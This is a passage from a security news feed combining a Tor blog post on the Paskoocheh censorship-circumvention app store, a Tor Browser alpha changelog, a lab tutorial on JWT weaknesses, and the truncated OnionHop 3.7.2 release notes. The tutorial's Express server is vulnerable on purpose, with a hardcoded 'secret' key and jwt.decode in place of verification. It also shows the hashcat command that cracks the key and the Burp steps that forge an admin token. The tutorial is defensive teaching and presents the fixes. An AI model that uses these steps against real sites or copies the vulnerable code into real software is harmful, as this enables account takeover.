      <source media="(min-width:415px)" srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.png">
    </picture>
    <div class="body"><p><em><strong>++ This guest post is part of a spotlight series on the organizations <a href="https://internetfreedom.torproject.org/">defending the free Internet</a>.++</strong></em></p>
<p>Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.</p>
<p>Launched in 2016, <a href="https://paskoocheh.com/">Paskoocheh</a>, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. </p>
<p>Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, <a href="https://paskoocheh.com/blog/posts/">blog posts</a>, and multimedia content to help users navigate online privacy and digital security best practices.</p>
<p>Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.</p>
<h2>Paskoocheh's impact so far</h2>
<p>This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.</p>
<ul>
<li><p><strong># of tool downloads since 2016:</strong>   17,634,852 </p>
</li>
<li><p><strong># of community members in Iran supporting testing and localization efforts:</strong>  2,000+</p>
</li>
<li><p><strong># of monthly active users on web and app:</strong>  ~200K</p>
</li>
</ul>
<p>During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: </p>
<blockquote><p><em>"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."</em></p>
</blockquote>
<p>Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.</p>
<h2>The future of Paskoocheh: Scaling a community-first approach to internet freedom</h2>
<p>As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. </p>
<p>What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.</p>
<p>That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. </p>
<p>This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. </p>
<p>With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. </p>
<p>This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. </p>
<h3>About ASL19</h3>
<p>Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/community">
          community
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/human-rights">
          human rights
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/partners">
          partners
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/fundraising">
          fundraising
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a8]]></title>
<description><![CDATA[Tor Browser 16.0a8 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a8 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a8/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>Send us your feedback</h2>
<p>If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a7 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.25.90301984</li>
<li>Updated Tor to 0.4.9.11</li>
<li>Updated OpenSSL to 3.5.7</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44857">Bug tor-browser#44857</a>: Drop <code>browser.display.use_system_colors</code> from our preference list</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44896">Bug tor-browser#44896</a>: Review Mozilla 2030929: Remove unused pref privacy.partition.network_state</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45018">Bug tor-browser#45018</a>: resistfingerprinting not available in appearance.mjs in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45019">Bug tor-browser#45019</a>: ReportBrokenSite startup error in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45047">Bug tor-browser#45047</a>: Cross-site oracle via worklet rejection error in Safer Mode</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45072">Bug tor-browser#45072</a>: Disable XSLT already for 16.0</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 152.0a1</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44528">Bug tor-browser#44528</a>: Make sure desktop IP Protection is disabled on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44795">Bug tor-browser#44795</a>: Revert BB 27604 patch as not needed anymore</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44844">Bug tor-browser#44844</a>: Use new urlbar CSS variables</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44888">Bug tor-browser#44888</a>: Use <code>--button-opacity-disabled</code> for disabled styling.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44955">Bug tor-browser#44955</a>: Use <code>context-fill</code> for <code>about-wordmark.svg</code></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44956">Bug tor-browser#44956</a>: Switch colours in letterboxing setting icons to match the tab-alignment icons</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45016">Bug tor-browser#45016</a>: Several errors about EngineProcess.sys.mjs in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45017">Bug tor-browser#45017</a>: Wrong letterboxing background in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45037">Bug tor-browser#45037</a>: Potential runtime errors in the search service when changing JS status</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45043">Bug tor-browser#45043</a>: Re-add missing changes to settings after 151/152 rebase</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45083">Bug tor-browser#45083</a>: Error in about:preferences due to ipprotection missing</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44728">Bug tor-browser#44728</a>: Bundled fonts are broken on macOS when the GPU process is enabled</li>
</ul>
</li>
<li>Linux<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/@%20libfontconfig.so.1/-/issues/45048">Bug @ libfontconfig.so.1#45048</a>: Backport Bugzilla 2041887: Crash in after users upgraded to fontconfig 2.18.0 [tor-browser]</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 152.0a1</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43856">Bug tor-browser#43856</a>: Fix onBackPressed() deprecation</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44091">Bug tor-browser#44091</a>: Add frequent regions to tor connection assist for android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44175">Bug tor-browser#44175</a>: Remove all default browser functionality (Android)</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44769">Bug tor-browser#44769</a>: TBA crash screen has firefox asset as well as a "Send crash report" button</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45052">Bug tor-browser#45052</a>: Initialise Tor modules on android in the same order as desktop</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41802">Bug tor-browser-build#41802</a>: Remove the tor daemon requirement for signing</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41809">Bug tor-browser-build#41809</a>: Update toolchains for Firefox 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41813">Bug tor-browser-build#41813</a>: Disable build artifacts in <code>make generate_gradle_dependencies_list-geckoview</code></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41821">Bug tor-browser-build#41821</a>: Update gpg subkeys for boklm</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41823">Bug tor-browser-build#41823</a>: Add versions information to the toolchain list update</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41827">Bug tor-browser-build#41827</a>: Update morgan's keychain with renewed key</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.4</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41810">Bug tor-browser-build#41810</a>: Define GetAddrInfoExCancel on mingw</li>
</ul>
</li>
<li>Android<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45086">Bug tor-browser#45086</a>: Compress omni.ja with xz on Android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41830">Bug tor-browser-build#41830</a>: Update the browser project to change omni.ja.xz</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.2]]></title>
<description><![CDATA[Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.
Fixed

Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) inst...]]></description>
<link>https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:10 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Bridge scanner verifies webtunnel for real.</strong> The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
<li><strong>Transport start failures now say why.</strong> When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.2.exe</code> / <code>OnionHopCLI-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
